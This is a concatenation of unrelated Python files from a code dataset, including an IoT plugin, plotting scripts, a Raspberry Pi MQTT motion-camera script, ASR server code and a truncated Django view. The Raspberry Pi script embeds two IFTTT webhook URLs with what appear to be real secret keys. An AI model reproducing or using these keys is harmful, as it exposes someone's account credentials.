format.\n\t\t\n\t\tArguments:\n\t\t\tkey {string} -- identifier of the preference\n\t\t\n\t\tKeyword Arguments:\n\t\t\tdefault_value {string} -- if there is none value stored\n\t\t\t\t\t\t\t\t\t you can set a default value (default: False)\n\t\t\n\t\tReturns:\n\t\t \t{string} -- Value of the preference\n\t\t\"\"\"\n\t\tvalue = self.data.get(key, default_value)\n\t\treturn value\n\n\tdef boardSelected(self,board_id):\n\t\t\"\"\"Choosed board\n\t\t\n\t\tAdd or delete the board selected from the preferences\n\t\tfiles. The boards are formated in a dictionary in the\n\t\tthe list 'board id'\n\t\t\n\t\tArguments:\n\t\t\tboard_id {string} -- identifier if the board selected\n\t\t\"\"\"\n\t\tfile_data = self.get('board_id','')\n\n\t\tif(file_data):\n\t\t\tif board_id in file_data:\n\t\t\t\tself.data.setdefault('board_id',[]).remove(board_id)\n\t\t\telse:\t\t\t\n\t\t\t\tself.data.setdefault('board_id',[]).append(board_id)\n\t\t\tself.saveData()\n\t\telse:\n\t\t\tself.set('board_id',[board_id])\n\n\tdef checkBoard(self, board_id):\n\t\t\"\"\"Is checked\n\t\t\n\t\tCheck if is necessary to mark or unmark the board selected \n\t\t\n\t\tArguments:\n\t\t\tboard_id {string} -- identifier of the board selected\n\t\t\"\"\"\n\t\tcheck = False\n\t\tif(self.data):\n\t\t\tcheck_boards = self.get('board_id', '')\n\n\t\t\tif board_id in check_boards:\n\t\t\t\tcheck = True\n\t\treturn check\n\nclass PlatformioCLI(DeviotCommands.CommandsPy):\n\t\"\"\"Platformio\n\t\n\tThis class handle all the request to the platformio ecosystem.\n\tFrom the list of boards to the build/upload of the sketchs.\n\tMore info about platformio in: http://platformio.org/\n\t\n\tExtends:\n\t\tDeviotCommands.CommandsPy\n\t\"\"\"\n\tdef __init__(self, view=False):\n\t\t\"\"\"Construct\n\t\t\n\t\tInitialize the command and preferences classes, to check\n\t\tif the current work file is an IoT type it received the view \n\t\tparameter (ST parameter). This parameter is necessary only in\n\t\tthe options like build or upload.\n\t\t\n\t\tKeyword Arguments:\n\t\t\tview {st object} -- stores many info related with ST (default: False)\n\t\t\"\"\"\n\t\tself.Preferences = Preferences()\n\t\tself.Commands = DeviotCommands.CommandsPy()\n\t\tself.view = view\n\n\t\tif(view):\n\t\t\tself.currentFilePath = DeviotPaths.getCurrentFilePath(view)\n\t\t\tself.cwd = DeviotPaths.getCWD(self.currentFilePath)\n\n\tdef getSelectedBoards(self):\n\t\t\"\"\"Selected Board(s)\n\t\t\n\t\tGet the board(s) list selected, from the preferences file, to\n\t\tbe initialized and formated to be used in the platformio CLI\n\n\t\tReturns:\n\t\t\t{string} boards list in platformio CLI format\n\t\t\"\"\"\n\t\tboards = self.Preferences.get('board_id','')\n\t\ttype_boards = \"\"\n\t\t\n\t\tif(not boards):\n\t\t\treturn False\n\n\t\tfor board in boards:\n\t\t\ttype_boards += \"--board=%s \" % board\n\n\t\treturn type_boards\n\n\tdef initSketchProject(self):\n\t\t\"\"\"CLI\n\t\t\n\t\tcommand to initialize the board(s) selected by the user. This\n\t\tfunction can only be use if the workig file is an IoT type\n\t\t(checked by isIOTFile)\n\t\t\"\"\"\n\t\tinit_boards = self.getSelectedBoards()\n\n\t\tif(not init_boards):\n\t\t\tprint(\"None board Selected\")\n\t\t\treturn\n\n\t\tcommand = \"platformio -f -c sublimetext init %s\" % init_boards\n\t\t\n\t\tif(not isIOTFile(self.view)):\n\t\t\tprint(\"This is not a IoT File\")\n\t\t\treturn\n\n\t\tprint(\"Initializing the project\")\n\t\tself.Commands.runCommand(command, self.cwd)\n\n\tdef buildSketchProject(self):\n\t\t\"\"\"CLI\n\t\t\n\t\tCommand to build the current working sketch, it must to be IoT\n\t\ttype (checked by isIOTFile)\n\t\t\"\"\"\n\t\t# initialize the sketch\n\t\tself.initSketchProject()\n\n\t\tif(not self.Commands.error_running and isIOTFile(self.view)):\n\t\t\tprint(\"Building the project\")\n\n\t\t\ttry:\n\t\t\t\tshutil.copy(self.currentFilePath, self.cwd + '\\\\src')\n\t\t\texcept:\n\t\t\t\tprint(\"error copying the file\")\n\t\t\t\treturn\n\n\t\t\tcommand = \"platformio -f -c sublimetext run\"\n\t\t\tself.Commands.runCommand(command, self.cwd)\n\t\t\t\n\t\t\tif(not self.Commands.error_running):\n\t\t\t\tprint(\"Success\")\n\t\t\t\tself.Preferences.set('builded_sketch',True)\n\t\t\telse:\n\t\t\t\tprint(\"Error\")\n\t\t\t\tself.Preferences.set('builded_sketch',False)\n\n\tdef uploadSketchProject(self):\n\t\t\"\"\"CLI\n\t\t\n\t\tUpload the sketch to the select board to the select COM port\n\t\tit returns an error if any com port is selected\n\t\t\"\"\"\n\t\tbuilded_sketch = self.Preferences.get('builded_sketch','')\n\n\t\tif(builded_sketch):\n\t\t\tid_port = self.Preferences.get('id_port','')\n\t\t\t\n\t\t\tif(not id_port):\n\t\t\t\tprint(\"None COM port selected\")\n\t\t\t\treturn\n\n\t\t\tcommand = \"platformio -f -c sublimetext run -t upload --upload-port %s\" % (id_port)\n\t\t\tself.Commands.runCommand(command, self.cwd)\t\n\n\tdef cleanSketchProject(self):\n\t\t\"\"\"CLI\n\t\t\n\t\tDelete compiled object files, libraries and firmware/program binaries\n\t\tif a sketch has been built previously\n\t\t\"\"\"\n\t\t\n\t\tbuilded_sketch = self.Preferences.get('builded_sketch','')\n\n\t\tif(builded_sketch):\n\t\t\tprint(\"Cleaning\")\n\t\t\tcommand = \"platformio -f -c sublimetext run -t clean\"\n\t\t\tself.Commands.runCommand(command, self.cwd)\n\n\t\t\tif(not self.Commands.error_running):\n\t\t\t\tself.Preferences.set('builded_sketch',False)\n\n\n\tdef getAPICOMPorts(self):\n\t\t\"\"\"CLI\n\t\t\n\t\tGet a JSON list with all the COM ports availables, to do it uses the\n\t\tplatformio serialports command. To get more info about this fuction\n\t\tcheck: http://docs.platformio.org/en/latest/userguide/cmd_serialports.html\n\t\t\"\"\"\n\t\tcommand = \"platformio -f -c sublimetext serialports list --json-output\"\n\t\tport_list = json.loads(self.Commands.runCommand(command,setReturn=True))\n\n\t\tif(not self.Commands.error_running):\n\t\t\treturn port_list\n\n\tdef getAPIBoards(self):\n\t\t\"\"\"Get boards list\n\t\t\n\t\tGet the boards list from the platformio API using CLI.\n\t\tto know more about platformio visit: http://www.platformio.org/\n\n\t\tReturns: \n\t\t \t{json object} -- list with all boards in a JSON format\n\t\t\"\"\"\n\t\tboards = []\n\t\tcommand = \"platformio -f -c sublimetext boards --json-output\"\n\t\tboards = self.Commands.runCommand(command,setReturn=True)\n\t\treturn boards\n\n\ndef isIOTFile(view):\n\t\"\"\"IoT File\n\t\n\tCheck if the file in the current view of ST is an allowed\n\tIoT file, the files are specified in the exts variable.\n\t\n\tArguments:\n\t\tview {st object} -- stores many info related with ST\n\t\"\"\"\n\texts = ['ino','pde','cpp','c','.S']\n\tfile_name = view.file_name()\n\n\tif file_name and file_name.split('.')[-1] in exts:\n\t\treturn True\n\treturn False\n\ndef setStatus(view):\n\t\"\"\"Status bar\n\t\n\tSet the info to show in the status bar of Sublime Text.\n\tThis info is showing only when the working file is considered IoT\n\t\n\tArguments:\n\t\tview {st object} -- stores many info related with ST\n\t\"\"\"\n\tinfo = []\n\n\tif isIOTFile(view):\t\t\n\t\tinfo.append('Deviot ' + getVersion())\n\t\tfull_info = \" | \".join(info)\n\n\t\tview.set_status('Deviot', full_info)\n\n\n\ndef getVersion():\n\t\"\"\"Plugin Version\n\t\n\tGet the current version of the plugin stored in the preferences file.\n\n\tReturns:\n\t \t{String} -- Version of the file (only numbers)\n\t\"\"\"\n\treturn Preferences().get('plugin_version')\n\ndef setVersion(version):\n\t\"\"\"Plugin Version\n\t\n\tSave the current version of the plugin in the preferences file.\n\n\tReturns:\n\t \t{String} -- Version of the file (only numbers)\n\t \"\"\"\n\tPreferences().set('plugin_version',version)","sub_path":"DeviotFunctions.py","file_name":"DeviotFunctions.py","file_ext":"py","file_size_in_byte":14414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"511966824","text":"import numpy as np\n\n\ndef vertexes_to_projective(vertexes):\n return np.concatenate([vertexes[:, :].copy(), np.ones(vertexes.shape[0]).reshape(-1, 1)], axis=1)\n\n\ndef trans_matrix(alpha, beta, gamma):\n tr_matrix = np.array(\n [[1, 0, 0, alpha],\n [0, 1, 0, beta],\n [0, 0, 1, gamma],\n [0, 0, 0, 1]],\n dtype=np.float64\n )\n return tr_matrix","sub_path":"affine_transformations/transfer_matrix.py","file_name":"transfer_matrix.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"576022302","text":"# Libraries Imported\nimport RPi.GPIO as GPIO\nimport paho.mqtt.client as mqtt\n\nfrom picamera import PiCamera\nfrom datetime import datetime\n\nimport time\nimport sys\nimport requests\nimport _thread\n\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n\n\ncamera_sys = PiCamera()\n\n\n# Procedure to Notify Argon_AC_3 of movement detection at the Entryway\ndef argon_notification_procedure():\n print(\"Thread Starting for Argon_AC_3 Notification\")\n timer_x = 0\n while timer_x < 10:\n # Secondary Client to communicate from RPi to Argon_AC_3\n secondary_client = mqtt.Client(\"Reception_2_mqtt\")\n secondary_client.connect(\"test.mosquitto.org\", 1883)\n secondary_client.subscribe(\"argon_Log_AC_3\")\n secondary_client.publish(\"RPi_AC\", \"Active\")\n print(\"Sending data to ARGON; Active; time:\" + str(timer_x))\n time.sleep(1)\n timer_x += 1\n\n secondary_client = mqtt.Client(\"Reception_2_mqtt\")\n secondary_client.connect(\"test.mosquitto.org\", 1883)\n secondary_client.subscribe(\"argon_Log_AC_3\")\n secondary_client.publish(\"RPi_AC\", \"Non_Active\")\n print(\"Sending data to ARGON; Non_ACTIVE\")\n\n secondary_client.unsubscribe(\"argon_Log_AC_3\")\n\n print(\"Thread Exiting for Argon_AC_3 Notification\")\n _thread.exit()\n\n\n# Procedure to record Entryway after movement is detected\ndef camera_procedure():\n print(\"Thread Starting for Camera\")\n print(\"Camera Starting\")\n\n # Rotate Camera Imaging 180 Degrees\n camera_sys.rotation = 180\n\n # Pre-formate of Video File\n file_capture = \"Entranceway Recording at \" + time.strftime(\"%Y-%m-%d---%H-%M-%S\") + \".h264\"\n\n # Recording Entryway as a 7 Second Video\n camera_sys.start_recording(file_capture)\n time.sleep(7)\n camera_sys.stop_recording()\n\n print(\"Video Recorded\")\n time.sleep(2)\n\n print(\"Notifying User of Front Door Movement and Camera Recording\")\n requests.post(\"https://maker.ifttt.com/trigger/ARGON_AC_TEST_DETECTED_MOVEMENT/with/key/eU_JJJKmZOp_tczeQ56DCVRWKFmnvYPiAZ1fMz0oI6U\")\n requests.post(\"https://maker.ifttt.com/trigger/ARGON_AC_TEST_DETECTED_MOVEMENT/with/key/kI1LT7uJS81esfqdszCu4yNQw8Hace1mnJuhl3j-Q6-\")\n\n print(\"Thread Exiting for Camera\")\n _thread.exit()\n\n\n# Function which launches when a message is received from Argon_AC_Test (The Motion Sensor)\ndef message_function(client, userdata, message):\n # Decoding the Payload in the message\n topic = str(message.topic)\n message = str(message.payload.decode(\"utf-8\"))\n message.replace(\"argon_Log_AC_TEST\", '')\n\n # Converting message into integer\n range_in_centimetres = int(message)\n\n # IF Statement that stops client loop and launches multiple threads if movement is detected\n if (range_in_centimetres < 100):\n print(\"Movement Detected at the Front Door\")\n\n print(\"Stopping MQTT Connection Loop\")\n client.loop_stop()\n\n # Thread 1: Camera Procedure\n _thread.start_new_thread(camera_procedure, ())\n\n # Thread 2: Argon Notification Procedure\n _thread.start_new_thread(argon_notification_procedure, ())\n\n\n print(\"Procedure Exited, Restarting MQTT Connection Loop\")\n main()\n\n else:\n print(\"Doorway clear\")\n\n\ndef main():\n try:\n # Primary Client Between Argon_AC_TEST and RPi\n primary_client = mqtt.Client(\"Reception_1_mqtt\")\n primary_client.connect(\"test.mosquitto.org\", 1883)\n primary_client.subscribe(\"argon_Log_AC_TEST\")\n primary_client.on_message = message_function\n primary_client.loop_start()\n\n # while(1):\n # time.sleep(1)\n\n except:\n KeyboardInterrupt()\n\n\nmain()\n","sub_path":"RPi_Motion_Camera_Threaded.py","file_name":"RPi_Motion_Camera_Threaded.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"438633331","text":"#!/usr/bin/env python\n# a stacked bar plot with errorbars\nfrom pylab import *\n\nN = 5\nmenMeans = (20, 35, 30, 35, 27)\nwomenMeans = (25, 32, 34, 20, 25)\nmenStd = (2, 3, 4, 1, 2)\nwomenStd = (3, 5, 2, 3, 3)\nind = arange(N) # the x locations for the groups\nwidth = 0.35 # the width of the bars: can also be len(x) sequence\n\np1 = bar(ind, menMeans, width, color='r', yerr=womenStd)\np2 = bar(ind, womenMeans, width, color='y',\n bottom=menMeans, yerr=menStd)\n\nylabel('Scores')\ntitle('Scores by group and gender')\nxticks(ind+width/2., ('G1', 'G2', 'G3', 'G4', 'G5') )\nyticks(arange(0,81,10))\nlegend( (p1[0], p2[0]), ('Men', 'Women') )\n\nshow()\n","sub_path":"sandbox/src1/examples/bar_stacked.py","file_name":"bar_stacked.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"620343558","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nsys.path.insert(0, os.path.join(os.path.dirname(sys.argv[0]),'autoProcess/'))\nimport logging\n\nimport migratecfg\nimport autoProcessMusic\nfrom nzbToMediaEnv import *\nfrom nzbToMediaUtil import *\n\n#check to migrate old cfg before trying to load.\nif os.path.isfile(os.path.join(os.path.dirname(sys.argv[0]), \"autoProcessMedia.cfg.sample\")):\n migratecfg.migrate()\n\nnzbtomedia_configure_logging(os.path.dirname(sys.argv[0]))\nLogger = logging.getLogger(__name__)\n\nLogger.info(\"====================\") # Seperate old from new log\nLogger.info(\"nzbToHeadPhones %s\", VERSION)\n\n# SABnzbd\nif len(sys.argv) == SABNZB_NO_OF_ARGUMENTS:\n # SABnzbd argv:\n # 1 The final directory of the job (full path)\n # 2 The original name of the NZB file\n # 3 Clean version of the job name (no path info and \".nzb\" removed)\n # 4 Indexer's report number (if supported)\n # 5 User-defined category\n # 6 Group that the NZB was posted in e.g. alt.binaries.x\n # 7 Status of post processing. 0 = OK, 1=failed verification, 2=failed unpack, 3=1+2\n Logger.info(\"Script triggered from SABnzbd, starting autoProcessMusic...\")\n result = autoProcessMusic.process(sys.argv[1], sys.argv[2], sys.argv[7])\n# NZBGet\nelif len(sys.argv) == NZBGET_NO_OF_ARGUMENTS:\n # NZBGet argv:\n # 1 The final directory of the job (full path)\n # 2 The original name of the NZB file\n # 3 The status of the download: 0 == successful\n Logger.info(\"Script triggered from NZBGet, starting autoProcessMusic...\")\n result = autoProcessMusic.process(sys.argv[1], sys.argv[2], sys.argv[3])\nelse:\n Logger.warn(\"Invalid number of arguments received from client.\")\n Logger.info(\"Running autoProcessMusic as a manual run...\")\n result = autoProcessMusic.process('Manual Run', 'Manual Run', 0)\n","sub_path":"nzbToHeadPhones.py","file_name":"nzbToHeadPhones.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"238197660","text":"#!/usr/bin/env python3\nimport os\n\ndef split_file(filepath, lines=300): # specify number of lines per file\n path, filename = os.path.split(filepath)\n # filename.split('.') would not work for filenames with more than one .\n basename, ext = os.path.splitext(filename)\n # open input file\n with open(filepath, 'r') as f_in:\n try:\n # open the first output file\n f_out = open(os.path.join(path, '{}_{}{}'.format(basename, 0, ext)), 'w')\n # loop over all lines in the input file, and number them\n for i, line in enumerate(f_in):\n # every time the current line number can be divided by the\n # wanted number of lines, close the output file and open a\n # new one\n if i % lines == 0:\n f_out.close()\n f_out = open(os.path.join(path, '{}_{}{}'.format(basename, i, ext)), 'w')\n # write the line to the output file\n f_out.write(line)\n finally:\n f_out.close()\n \nif __name__ == '__main__':\n with open('split_file.txt', 'w') as f:\n for x in range(950): # the last line to split\n f.write('{}\\n'.format(x))\n split_file('file_to_split.txt')\n","sub_path":"python/splitFileByLine.py","file_name":"splitFileByLine.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"17344655","text":"import pytest\n\nfrom MicroTokenizer.tokenizers.hmm_tokenizer import HMMTokenizer\nfrom MicroTokenizer import default_model_dir\n\n\n@pytest.mark.parametrize(\"input_text\", pytest.helpers.tokenizer_test_cases())\ndef test_persist(tmpdir, input_text):\n temp_path = tmpdir.mkdir(\"hmm\")\n temp_path_str = str(temp_path)\n\n tokenizer = HMMTokenizer()\n tokenizer.train([[\"我\", \"是\", \"中国人\"], [\"你\", \"打\", \"人\"]])\n tokenizer.save(temp_path_str)\n assert len(temp_path.listdir()) == 3\n\n roundtrip_tokenizer = HMMTokenizer.load(temp_path)\n result = roundtrip_tokenizer.segment(input_text)\n pytest.helpers.assert_token_equals(result, input_text)\n\n\n@pytest.mark.parametrize(\"input_text\", pytest.helpers.tokenizer_test_cases())\ndef test_segment(input_text):\n tokenizer = HMMTokenizer.load(default_model_dir)\n\n result = tokenizer.segment(input_text)\n\n pytest.helpers.assert_token_equals(result, input_text)\n","sub_path":"tests/tokenizers/test_hmm_tokenizer.py","file_name":"test_hmm_tokenizer.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"104782392","text":"import zmq\nimport time, logging, os\nfrom collections import defaultdict\nfrom cloudasr import Poller\nfrom cloudasr.messages import HeartbeatMessage\nfrom cloudasr.messages.helpers import *\n\ndef create_master(worker_address, frontend_address, monitor_address):\n logging.basicConfig(level=os.environ['LOG_LEVEL'] or logging.INFO, format='%(levelname)s: %(asctime)s: %(message)s')\n poller = create_poller(worker_address, frontend_address)\n context = zmq.Context()\n monitor = context.socket(zmq.PUSH)\n monitor.connect(monitor_address)\n run_forever = lambda: True\n\n return Master(poller, monitor, run_forever)\n\n\ndef create_poller(worker_address, frontend_address):\n context = zmq.Context()\n worker_socket = context.socket(zmq.PULL)\n worker_socket.bind(worker_address)\n frontend_socket = context.socket(zmq.REP)\n frontend_socket.bind(frontend_address)\n\n sockets = {\n \"worker\": {\"socket\": worker_socket, \"receive\": worker_socket.recv, \"send\": worker_socket.send_json},\n \"frontend\": {\"socket\": frontend_socket, \"receive\": frontend_socket.recv, \"send\": frontend_socket.send},\n }\n time_func = time.time\n\n return Poller(sockets, time_func)\n\n\nclass Master:\n\n def __init__(self, poller, monitor, should_continue):\n self.poller = poller\n self.should_continue = should_continue\n self.workers = WorkerPool(monitor)\n self.time = 0\n\n def run(self):\n logging.info(\"Master node successfully set up and running...\")\n while self.should_continue():\n messages, self.time = self.poller.poll()\n\n if \"worker\" in messages:\n self.handle_worker_request(messages[\"worker\"])\n\n if \"frontend\" in messages:\n self.handle_fronted_request(messages[\"frontend\"])\n\n def handle_fronted_request(self, message):\n try:\n request = parseWorkerRequestMessage(message)\n model = request.model\n worker = self.workers.get_worker(model, self.time)\n\n message = createMasterResponseMessage(\"SUCCESS\", worker)\n self.poller.send(\"frontend\", message.SerializeToString())\n except NoWorkerAvailableException:\n message = createMasterResponseMessage(\"ERROR\")\n self.poller.send(\"frontend\", message.SerializeToString())\n\n def handle_worker_request(self, message):\n statuses = {\n HeartbeatMessage.STARTED: \"STARTED\",\n HeartbeatMessage.WAITING: \"WAITING\",\n HeartbeatMessage.WORKING: \"WORKING\",\n HeartbeatMessage.FINISHED: \"FINISHED\"\n }\n\n heartbeat = parseHeartbeatMessage(message)\n address = heartbeat.address\n model = heartbeat.model\n status = statuses[heartbeat.status]\n\n self.workers.add_worker(model, address, status, self.time)\n\n\nclass WorkerPool:\n\n def __init__(self, monitor):\n self.workers_status = defaultdict(lambda: {\"status\": \"STARTED\", \"last_heartbeat\": 0, \"waiting_for_first_chunk_secs\": 0})\n self.available_workers = defaultdict(list)\n self.monitor = monitor\n\n def get_worker(self, model, time):\n worker = self.find_available_worker(model, time)\n\n if worker is None:\n raise NoWorkerAvailableException()\n\n self.update_worker_status(model, worker, \"WORKING\", time)\n return worker\n\n def find_available_worker(self, model, time):\n logging.info(\"Finding available worker for the model {}\".format(model))\n logging.info(self.available_workers[model])\n logging.info(self.workers_status)\n while len(self.available_workers[model]) > 0:\n worker = self.available_workers[model].pop(0)\n logging.info(\"Is worker available?\")\n logging.info(worker)\n logging.info(self.is_worker_available(worker, time))\n\n if self.is_worker_available(worker, time):\n return worker\n\n return None\n\n def is_worker_available(self, worker, time):\n status = self.workers_status[worker]\n return status[\"status\"] and status[\"last_heartbeat\"] > time - 10\n\n def add_worker(self, model, address, status, time):\n worker_status = self.workers_status[address][\"status\"]\n logging.info(\"Handling worker heartbeat. worker_status: {}, address: {}\".format(worker_status, address))\n if worker_status == \"WORKING\":\n if status == \"FINISHED\" or status == \"STARTED\":\n self.available_workers[model].append(address)\n self.update_worker_status(model, address, \"WAITING\", time)\n\n if status == \"WORKING\":\n self.update_worker_status(model, address, \"WORKING\", time)\n\n if status == \"WAITING\":\n self.workers_status[address][\"waiting_for_first_chunk_secs\"] += 1\n\n if self.workers_status[address][\"waiting_for_first_chunk_secs\"] == 10:\n self.available_workers[model].append(address)\n self.update_worker_status(model, address, \"WAITING\", time)\n elif worker_status == \"STARTED\":\n logging.info(\"Worker successfully established connection. Its model is: {}, Address: {}, Status: {}\".format(model, address, status))\n self.available_workers[model].append(address)\n self.update_worker_status(model, address, \"STARTED\", time)\n elif worker_status == \"WAITING\":\n self.update_worker_status(model, address, \"WAITING\", time)\n\n def update_worker_status(self, model, worker, status, time):\n self.workers_status[worker] = {\n \"status\": \"WAITING\" if status == \"STARTED\" else status,\n \"last_heartbeat\": time,\n \"waiting_for_first_chunk_secs\": 0\n }\n\n worker_status = createWorkerStatusMessage(worker, model, status, int(time))\n self.monitor.send(worker_status.SerializeToString())\n logging.info(\"Send worker status to the monitor : {}, Status: {}, worker: {}\".format(model, status, worker))\n\n\nclass NoWorkerAvailableException(Exception):\n pass\n","sub_path":"cloudasr/master/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":6059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"613688036","text":"senha = int(input(\"Informe a senha: \"))\n\nnum1 = senha // 100000\nnum2 = senha // 10000 % 10\nnum3 = senha // 1000 % 10\nnum4 = senha // 100 % 10\nnum5 = senha // 10 % 10\nnum6 = senha % 10\n\nsoma1 = num2 + num4 + num6\nsoma2 = num1 + num3 + num5\n\nif ((soma1 % soma2) == 0):\n\tprint (\"acesso liberado\")\nelse:\n\tprint (\"senha invalida\")\n","sub_path":"5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/223/users/4187/codes/1644_2446.py","file_name":"1644_2446.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"113784564","text":"# play_wav_stereo.py\n\nimport pyaudio\nimport wave\nimport struct\nimport math\n\ndef clip16( x ): \n # Clipping for 16 bits\n if x > 32767:\n x = 32767\n elif x < -32768:\n x = -32768\n else:\n x = x \n return int(x)\n\ngain = 0.9\ngain1 = 0.8\n# wavfile = \"cat01.wav\"\n# wavfile = 'sin01_mono.wav'\nwavfile = 'sin01_stereo.wav'\n\nprint(\"Play the wave file %s.\" % wavfile)\n\nwf = wave.open( wavfile, 'rb' )\n\n# Read the wave file properties\nnum_channels = wf.getnchannels() \t# Number of channels\nFs = wf.getframerate() # Sampling rate (frames/second)\nsignal_length = wf.getnframes() \t# Signal length\nwidth = wf.getsampwidth() \t\t# Number of bytes per sample\n\nprint(\"The file has %d channel(s).\" % num_channels)\nprint(\"The frame rate is %d frames/second.\" % Fs)\nprint(\"The file has %d frames.\" % signal_length)\nprint(\"There are %d bytes per sample.\" % width)\n\n# ----------------------------------\n\n# Set parameters of delay system\nGfb = 0.8 # feed-back gain\ng0 = 0.9 # direct-path gain\ng11 = 1.0 # a feed-forward gain\n # a feed-forward gain\ng21 = 1.0\n# g22 = 0.8\n# Set g0 = Gdp, g1 = 0, g2 = Gff to recover system in feedbackdelay_circbuffer.py\n# (Check..)\n\ndelay1_sec = 0.4\ndelay2_sec = 0.5 # delay2_sec > delay1_sec\n\ndelay1 = int( math.floor( Fs * delay1_sec ) ) # Delay in samples\ndelay2 = int( math.floor( Fs * delay2_sec ) ) \n\n# Create a delay line (buffer) to store past values. Initialize to zero.\n\nbuffer_length1 = delay1\nbuffer_length2 = delay2 # minimal-length buffer\nbuffer1 = [ 0 for i in range(buffer_length1) ] \nbuffer2 = [ 0 for j in range(buffer_length2) ] \n\nprint('The delay of {0:.3f} seconds is {1:d} samples.'.format(delay1_sec, delay1))\nprint('The delay of {0:.3f} seconds is {1:d} samples.'.format(delay2_sec, delay2))\nprint('My buffer is of length {0:d}'.format(buffer_length1))\n\n# ----------------------------------\n\np = pyaudio.PyAudio()\n\nstream = p.open(format = pyaudio.paInt16,\n channels = num_channels,\n rate = Fs,\n input = False,\n output = True )\n\ninput_string = wf.readframes(1) # Read first frame\n\n\n\nk = 0\nm1 = 2\nm11 = 0\nm2 = 2\nm22 =0\n\nprint (\"**** playing ****\")\nwhile input_string != '':\n\n # Convert string to numbers\n input_tuple = struct.unpack('hh', input_string) # produces a two-element tuple\n\n\n buffer1[k] = gain * input_tuple[0] \n buffer2[k] = gain1 * input_tuple[1] \n\n # Compute output values\n output_value0 = clip16(gain * input_tuple[0] + g11 * buffer2[m2-1])\n output_value1 = clip16(gain1 * input_tuple[1] + g21 * buffer1[m1-1] )\n\n \n\n k = k + 1\n m1 = m1 + 1\n m2 = m2 + 1\n if k == buffer_length1:\n k = 0\n if m1 >= buffer_length1:\n m1 = 0\n if m2 >= buffer_length2:\n m2 = 0\n\n # Convert output value to binary string\n output_string = struct.pack('hh', output_value0, output_value1)\n\n # Write output value to audio stream\n stream.write(output_string)\n\n # Get next frame\n input_string = wf.readframes(1)\n\nprint(\"**** Done ****\")\n\nstream.stop_stream()\nstream.close()\np.terminate()\n\n\n\n\n\n\n","sub_path":"Lab3 /Lab_3_ASGMNT_3_4_kwc305.py","file_name":"Lab_3_ASGMNT_3_4_kwc305.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"449393274","text":"import ctypes\nimport sdl2\n\nfrom rendrer import Renderer\n\n\nclass Window:\n DEFAULT_WIDTH = 400\n DEFAULT_HEIGHT = 400\n\n def __init__(self, title, width=DEFAULT_WIDTH, height=DEFAULT_HEIGHT):\n sdl2.SDL_Init(sdl2.SDL_INIT_VIDEO)\n self.sdl_window = sdl2.SDL_CreateWindow(\n title,\n sdl2.SDL_WINDOWPOS_CENTERED,\n sdl2.SDL_WINDOWPOS_CENTERED,\n width,\n height,\n sdl2.SDL_WINDOW_RESIZABLE\n )\n self._renderer = Renderer(self)\n self.resize()\n\n @property\n def size(self):\n width = ctypes.c_int()\n height = ctypes.c_int()\n sdl2.SDL_GetWindowSize(self.sdl_window, ctypes.byref(width), ctypes.byref(height))\n return width.value, height.value\n\n def resize(self):\n self._renderer.resize()\n\n def on_key_pressed(self, key_code):\n self._renderer.on_key_pressed(key_code)\n\n def on_key_up(self, key_code):\n self._renderer.on_key_up(key_code)\n\n def close(self):\n sdl2.SDL_DestroyWindow(self.sdl_window)\n sdl2.SDL_Quit()\n\n","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"94504268","text":"import xarray as xr\nimport xarray.ufuncs as xu\nimport matplotlib.pyplot as plt\nfrom matplotlib import colors\nimport numpy as np\nimport cartopy.crs as ccrs\nimport sys\nplt.rcParams.update({'font.size':18})\nvariable='thetao700'\n\nsurf_path='/DataArchive/C3S/subsurf_temp'\n\nds = xr.open_dataset(surf_path+'/Results/thetao_700m_ORCA-0.25x0.25_regular_1979_2018.nc')\nvar = ds[variable] - ds[variable].mean('time')\nweights = np.cos(ds.lat*np.pi/180)\n\nhov_nino = (var*weights).sel(lat=slice(-5,5), lon=slice(130, 280)).mean(dim='lat')\nhov_nino = hov_nino.rename(r'$Temp~Anomalies~[^oC]$')\nfig=plt.figure(1, figsize=(8,10))\nax=fig.add_subplot(111)\np = hov_nino.plot.contourf(ax=ax, \n extend='both',\n cmap='RdBu_r', \n vmin=-1.5, vmax=1.5, levels=31,\n cbar_kwargs={'drawedges': True, 'shrink' : 0.80})\nfig.savefig(surf_path+'/Figures/'+variable+'_hovmoller_ORCA-0.25x0.25_regular_1979_2018.png', dpi=300, transparent=True)\nplt.show()\n\n","sub_path":"Hovmoller.py","file_name":"Hovmoller.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"577869150","text":"import pkg_resources\nfrom django import forms\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.views.decorators.http import require_http_methods\n\nimport importer.tasks\n\n\nclass RequiresForm(forms.Form):\n requirements = forms.CharField(widget=forms.Textarea,\n help_text='Paste your requirements.txt')\n recursive = forms.BooleanField(required=False, initial=True,\n help_text=\"Recurse through requirements' requirements, 